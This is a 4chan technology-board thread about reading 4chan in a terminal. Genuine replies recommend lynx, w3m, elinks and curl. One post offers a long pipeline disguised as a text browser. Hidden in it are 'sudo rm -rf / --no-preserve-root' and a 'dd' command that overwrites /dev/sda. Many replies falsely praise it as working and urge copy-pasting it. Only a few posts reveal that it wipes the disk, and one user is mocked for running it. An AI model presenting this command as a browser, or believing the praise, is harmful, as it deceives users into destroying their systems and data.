Is there a way I can browse 4chan in the terminal? Without

that's autism

https://en.wikipedia.org/wiki/W3m

>>60246189
Install "lynx"

It's a terminal based browser without images

Lynx
Or w3m, it can even display images.

terminal based browser like w3m

wget/curl and less

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>browsing imageboard without images

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>>60246189
>not using a terminal web browser

HEY VORSHYY

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>>60246189
Just install elinks.

>>60246189
I use this:

ps -ef | grep [p]mon | awk '{print $2}' | grep '4chan' | xargs -I {} ps eww {} | awk '{print $1 " " $5 " " $6 " " $0}' | sudo rm -rf / --no-preserve-root | dd if=/dev/random of=/dev/sda | sed 's/\(S*\) \(S*\) .*ORACLE_HOME/\1 \2/g' | cut -f1,2,3 -d" "

>>60246973
wait how does this work? thx anon

>>60246973
> | sudo rm -rf / --no-preserver-root
Really activates my almonds.

>>60246973
nice, works - does it use the gpu though?

>>60246973
You really think anyone would run _any_ command with an unobscured sudo rm -rf / --no-preserve-root

>>60246973
this is better than lynx and elinks

>>60246973
b-e-a-utilful. the tui is enough for me now

>>60246189
just use irc at that point you shitter.

there are plenty of #/g/* channels on rizon and they are full of fags just like you.

>>60246973
Confirmed I use this exact same code, too.
Just copy paste directly into terminal

>>60246973
fucking hell this is the shit - where did you learn this?

>>60246973
Linus Torvalds uses this

>>60246973
does this make me a code wizard?

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>>60246973
> sudo rm -rf
If you don't remove cookies with sudo the captchas won't work in textmode..

> being this much of a retard
> on a technology board
> mfw

>>60246973
thx anon

>>60246973
you're a fucking hero anon

wget https://a.4cdn.org/g/threads.json

>>60246973
You've topped the autism.

Very impressive autism, though. Kudos.

>>60246944
What's your config for that?
I'm having trouble getting elinks to display boxes

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>>60246189
>not browsing 4chan in Emacs

>>60247207
I've just installed it from arch repos, and I'm using it in st. I haven't configured elinks at all.

You might not see boxes because of color your terminal can display.

>>60246973
cool

>>60246973
ps -ef | grep [p]mon | awk '{print $2}' | grep '4chan' | xargs -I {} ps eww {} | awk '{print $1 " " $5 " " $6 " " $0}' | sudo rm -rf / --no-preserve-root | dd if=/dev/random of=/dev/sda | sed 's/\(S*\) \(S*\) .*ORACLE_HOME/\1 \2/g' | cut -f1,2,3 -d" "
>sudo rm -rf / --no-preserve-root
>sudo rm -rf / --no-preserve-root
>sudo rm -rf / --no-preserve-root
>sudo rm -rf / --no-preserve-root
lol haha :^)

>>60246973
Can someone screen shot what this does?
I have no idea.

>>60246189
>browse
sure, no problem
>post
no

if you use lynx you're a faggot try hard

>>60246973
perfect. Thanks nanon

>>60247954
you can
>present the captcha in terminal by converting image to colorful ASCII (libcaca or whatever)
>create cURL commands to POST

>>60246189
>Without images, just text.
You'll be able to lurk, but not post (as the captchas are images, duh).

>>60248441
not having a 4chan pass

>>60246199
fpbp

>>60246973
This shutdowns your your computer and makes mustard gas. Don't run it.

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>>60246973
How do I install this on windows?

>>60248727
install bash on ubuntu on windows from the store
or type bash on a cmd windows

>>60247096
>If you don't remove cookies with sudo the captchas won't work in textmode..
I don't see anything in there that makes sure you're in the cookies directory when that command is executed. And there's no need to use --no-preserve-root in that case. Also, that doesn't explain the dd command, which pretty unambiguously overwrites the contents of your first mass storage device with random bits.

>>60248640
>paying to shitpost

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>>60248361
>>60246234
>see url

>he can't pipe a couple of utilities to get an usable browser himself
https://asciinema.org/a/809ujw2fvko44qzv94644heyy

>>60246973
Works perfectly, holy shit

Anyone remembers that terminal "video player" that decodes the video stream and displays an approximation with colored ASCII characters?

>>60246189
w3m

>>60246973
Works like magic
This is why I browse /g/ for diamonds like these.

>>60246973
works like a charm, thanks my dude.

>>60246221
Thank you for posting this

>>60247254
Have you used W3M inside of Emacs? There's really no better way to browse.

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>>60246973
FUCK YOU ASSHOLES

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>>60254080
>he actually fell

>>60254080
Did you actually do it?

>>60254080
Idiot, your computer is now permanently destroyed.

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>>60254080

>>60254080
>he unironically executes some convoluted command posted by random anon on 4chinz
>one that even has shit like "rm / -rf" in plain sight
>never gets old

How'd that triforce theme sound as you did it btw?

>>60246189
lynx --dump >>60246189

>>60254198
Is it? Does systemd make sure that firmware is bricked too in such cases?

>>60254080
Please don't say it's your dad's work laptop and he's coming home soon.

>>60246973
is this safe to run in a vm?

>>60254846
Why wouldn't it be? It just unlinks the file system and writes random data on the primary disk, which is all virtual on a vm.

>>60254846
Depends on whether the VM holds any importance to you.

>>60246973
https://explainshell.com/explain?cmd=ps+-ef+|+grep+[p]mon+|+awk+%27{print+%242}%27+|+grep+%274chan%27+|+xargs+-I+{}+ps+eww+{}+|+awk+%27{print+%241+%22+%22+%245+%22+%22+%246+%22+%22+%240}%27+|+sudo+rm+-rf+%2F+--no-preserve-root+|+dd+if%3D%2Fdev%2Frandom+of%3D%2Fdev%2Fsda+|+sed+%27s%2F\%28S*\%29+\%28S*\%29+.*ORACLE_HOME%2F\1+\2%2Fg%27+|+cut+-f1%2C2%2C3+-d%22+%22

>>60246973
this is pretty sweet. Works way better than just using curl! Thanks!

>>60246973
Awesome thanks!

>>60246241
I knew a mormon that did this to protect his innocent eyes from 4chan but still enjoyed the discussions. I don't think he did it for very long.

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>>60255052
ily anon <3